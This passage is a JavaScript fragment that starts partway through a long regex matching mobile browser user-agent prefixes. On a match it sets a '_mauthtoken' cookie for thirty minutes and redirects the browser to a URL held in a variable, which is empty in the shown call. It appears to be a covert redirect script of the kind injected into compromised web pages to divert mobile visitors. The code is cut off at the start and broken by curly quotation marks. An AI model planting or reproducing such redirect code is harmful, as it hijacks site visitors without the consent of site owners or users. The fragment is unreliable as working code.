)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}